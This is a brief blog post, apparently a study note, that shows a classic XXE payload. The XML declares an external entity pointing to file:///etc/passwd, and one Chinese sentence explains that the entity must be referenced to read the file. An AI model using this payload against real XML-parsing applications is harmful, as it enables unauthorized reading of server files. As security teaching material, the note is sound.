XXE载荷

<?xml version="1.0" encoding="ISO-8859-1"?> 
<!DOCTYPE foo [
  <!ELEMENT foo ANY>
  <!ENTITY xxe SYSTEM
  "file:///etc/passwd">]>
<foo>
  &xxe;
</foo>

此处xxe为外部实体,需要被引用从而得到文件内容

posted @ 2023-09-16 11:38  Jason_huawen  阅读(9)  评论(0编辑  收藏  举报